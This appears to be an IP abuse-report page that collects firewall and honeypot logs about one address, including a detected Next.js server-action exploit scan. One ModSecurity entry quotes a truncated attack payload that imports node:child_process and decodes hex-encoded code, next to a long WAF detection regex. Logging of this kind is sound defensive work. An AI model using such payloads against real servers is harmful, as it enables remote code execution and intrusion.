[ThuNov0501:03:53.0842042026][security2:error][pid3307462:tid3307486][client3.134.183.57:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an ...
show more[ThuNov0501:03:53.0842042026][security2:error][pid3307462:tid3307486][client3.134.183.57:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"function\(\'returnimport\(\\\\x5c\\\\x22node:child_process\\\\x5c\\\\x22\)\'\)\(\)\,function\(\'returnimport\(\\\\x5c\\\\x22node:zlib\\\\x5c\\\\x22\)\'\)\(\)]\).then\(\([cp\,zlib]\)=\>{returnnewpromise\(\(resolve\,reject\)=\>{try{varuser_code=global[string.fromcharcode\(66\,117\,102\,102\,101\,114\)].from\(\'286173796e6328293d3e7b636f6e73742066733d61
show less
Reason:15 (Hacking), Via: www.parkzuiderhout.nl/?cb=230f859a, Message: [POST] Gevaarlijk woord 'eval' in Value in '0' [+35] #IN_KEYWORD{word=eval,part=value,field=0}; Code injectie (PHP statement) in Value in '0' [+35] # ...
show moreReason:15 (Hacking), Via: www.parkzuiderhout.nl/?cb=230f859a, Message: [POST] Gevaarlijk woord 'eval' in Value in '0' [+35] #IN_KEYWORD{word=eval,part=value,field=0}; Code injectie (PHP statement) in Value in '0' [+35] #IN_CODE_PHP{part=value,field=0}; Combinatiebonus [+10] #COMBO
show less
Bad web bot on a honeypot: ignored robots.txt (Disallow: /) and kept crawling without browser behaviour.
Requests within an hour: 4 on 3 host(s)
User agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 ...
show moreBad web bot on a honeypot: ignored robots.txt (Disallow: /) and kept crawling without browser behaviour.
Requests within an hour: 4 on 3 host(s)
User agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Sa
Requested, e.g.:
- panel.[REDACTED]/?cb=24bc3675
- registry.[REDACTED]/?cb=9d181378
- registry.[REDACTED]/?cb=c6ee0bdd
- remote.[REDACTED]/?cb=2e91650e
show less
RexOS Shield (web application firewall), 2026-11-03 04:08:58 UTC, 1 event from this address. Ref 5C1243.
Detected: Vulnerability scan: Next.js server action exploit (CVE-2025-55182).
Request: POST /?cb=4d730c88
Network: AS16509 Amazon.com, Inc. (US), ...
show moreRexOS Shield (web application firewall), 2026-11-03 04:08:58 UTC, 1 event from this address. Ref 5C1243.
Detected: Vulnerability scan: Next.js server action exploit (CVE-2025-55182).
Request: POST /?cb=4d730c88
Network: AS16509 Amazon.com, Inc. (US), hosting / data centre.
User agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Client evidence: claims Chrome 126, released in 2024 (2 years old; real browsers update themselves); sent no Accept or Accept-Language header, which every browser sends.
Action: malicious requests rejected (HTTP 403).
Categories: Port Scan, Web App Attack.
Full evidence: https://craftrank.org/evidence?r=5C1243
show less
Port Scan
Web App Attack
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown
